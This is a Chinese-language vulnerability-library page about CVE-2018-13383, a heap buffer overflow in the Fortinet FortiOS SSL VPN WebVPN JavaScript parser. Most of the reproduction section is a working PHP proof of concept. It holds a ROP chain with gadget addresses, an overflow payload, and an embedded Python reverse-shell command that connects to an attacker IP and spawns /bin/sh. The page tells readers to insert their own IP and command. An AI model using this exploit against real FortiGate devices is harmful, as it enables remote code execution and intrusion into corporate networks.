menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right Fortinet FortiOS chevron_right (CVE-2018-13383)Fortinet FortiOS 缓冲区错误漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-13383)Fortinet FortiOS 缓冲区错误漏洞.md
    3.77 KB / 2021-04-21 09:23:46
        (CVE-2018-13383)Fortinet FortiOS 缓冲区错误漏洞
    =================================================
    
    一、漏洞简介
    ------------
    
    Fortinet
    FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。
    Fortinet FortiOS
    6.2.0之前版本中存在堆缓冲区溢出漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。
    
    二、漏洞影响
    ------------
    
    Fortinet Fortios 6.2 Fortinet Fortios 6.0.5
    
    三、复现过程
    ------------
    
    这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:
    
        memcpy(buffer, js_buf, js_buf_len);
    
    缓冲区大小固定为`0x2000`,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL
    VPN代理访问我们的exploit为普通用户。
    
    > 这里我们用PHP编写的PoC放在HTTP服务器上:
    >
    > //请自行修改里面的ip以及所需要的执行的命令
    
        <?php
        function p64($address) {
            $low = $address & 0xffffffff;
            $high = $address >> 32 & 0xffffffff;
            return pack("II", $low, $high);
        }
        $junk = 0x4141414141414141;
        $nop_func = 0x32FC078;
    
        $gadget  = p64($junk);
        $gadget .= p64($nop_func - 0x60);
        $gadget .= p64($junk);
        $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
        $gadget .= p64($junk);
        $gadget .= p64($junk);
        $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
        $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
        $gadget .= p64(0x58);
        $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
        $gadget .= p64(0x1366639); // call system ;
        $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
    
        $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
        $p .= $gadget;
        $p .= str_repeat('A', 0x1000 - strlen($gadget));
        $p .= $gadget;
        ?>
        <a href="javascript:void(0);<?=$p;?>">xxx</a>
    
    这个PoC可以分为三个部分。
    
    -   1.虚假的SSL structure
    
    `SSL structure`和我们的缓冲区相靠,因此我们可以精确伪造。为了避免崩溃,我们将`method`设置为一个包含空函数指针的位置。此时的参数是
    `SSL structure`本身`s`。但是,`method`前面只有8个字节,我们不能简单地调用`system("/bin/sh");`,这对于我们的反向shell来说是不够的。不过由于那个巨大的二进制文件,我们很容易找到ROP小片段。我们发现一个有用的堆栈枢轴:
    
        push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
    
    因此,我们将`handshake_func`设置为这个小片段,将`rsp`移动到`SSL structure`中,进行下一步的ROP攻击。
    
    -   2.ROP链
    
    这里的ROP链很简单。我们稍微向前移动`rdi`,以便有足够的空间执行反向shell命令。
    
    -   3.溢出的字符串
    
    最后,我们连接溢出填充并加以利用。一旦我们溢出了SSL
    structure,就会得到一个shell。
    
    最终稳定利用还需要多次尝试,因为有时程序会提前崩溃。但无论如何,攻击还是奏效了,只需要1\~2分钟,就可以获得一个反向shell。
    
    
    links
    file_download